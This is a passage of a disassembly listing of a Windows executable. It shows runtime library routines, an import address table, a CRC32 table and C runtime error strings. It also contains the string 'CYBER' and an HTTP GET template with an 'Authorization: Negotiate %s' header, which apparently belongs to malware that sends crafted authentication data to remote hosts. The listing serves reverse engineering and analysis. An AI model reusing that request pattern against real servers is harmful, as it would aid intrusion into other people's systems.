		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2821017h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi

loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------

loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D

loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------

loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax

loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0

loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1

loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C2FC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------

loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05

loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]

loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB590
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 26104B5h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------

loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax

loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB590, eax

loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 26104B5h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------

loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax

loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2821017h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2821017h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB334

loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------

loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax

loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------

loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h

loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25D0000h, 25E0000h, 25F0000h, 25F0629h, 2600000h, 2600C08h
		dd 2610000h, 2610418h, 26104B5h, 2620000h, 2620851h, 2630000h
		dd 26302A7h, 2630A17h, 2630BF2h
dword_42703C	dd 2630C14h		; DATA XREF: ___:004231D9r
		dd 2630C68h, 2630F5Fh, 2640000h, 26400D8h, 2650000h, 2660000h
		dd 2670000h, 2670345h, 26708AAh, 77E75CB5h
dword_427068	dd 26708E6h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2670C39h, 2680000h, 2690000h
dword_427078	dd 2690579h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 26905D4h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 269074Ch
dword_427084	dd 26907E6h		; DATA XREF: sub_4196BC+B9r
		dd 2690CB0h
dword_42708C	dd 2690CE2h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 26A0000h		; DATA XREF: ___:loc_4013DCr
		dd 26A0381h, 26A04DCh
dword_42709C	dd 26A059Eh		; DATA XREF: sub_409B12+2r
		dd 26A0732h, 26A079Ah
dword_4270A8	dd 26A0D63h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 26A0E69h		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 26B0000h, 26B0B81h
dword_4270B8	dd 26B0C66h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26C0000h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26D0000h, 26E0000h, 26E0605h, 26F0000h, 77F7E300h, 77F7E21Fh
		dd 26F04CCh, 26F06F1h, 2700000h, 2700834h
dword_4270E8	dd 2710000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 2710A4Eh		; DATA XREF: sub_418293+36r
		dd 2710D21h, 2720000h
dword_4270F8	dd 2720612h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2730000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 273143Ch, 2740000h, 2740B0Ch, 2750000h, 27508E2h, 2760000h
		dd 2770000h, 2780000h, 2780C37h, 2790000h, 2790158h, 279027Eh
		dd 2790C12h, 27A0000h, 27A03F6h
dword_42713C	dd 27A069Dh		; DATA XREF: sub_416F1A+BCr
		dd 27B0000h
dword_427144	dd 27C0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27C0B4Ch		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27C0BBBh
dword_427150	dd 27D0000h		; DATA XREF: sub_417275+56r
		dd 27D027Dh, 27E0000h, 27F0000h, 27F0754h, 27F0C7Ah, 2800000h
		dd 28001C9h, 28008ACh, 2810000h, 2820000h
dword_42717C	dd 2821017h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2830000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 283104Eh, 283149Bh, 283191Bh, 2831D1Bh, 2840000h, 2850000h
		dd 2852186h, 2860000h, 2870000h, 2880000h, 2881942h, 2881957h
		dd 2890000h, 28A0000h, 28A01DBh
dword_4271C0	dd 28A072Ah		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28A0899h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28A09CFh, 28B0000h, 28B07F1h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C514o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C510o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C78Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C95Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
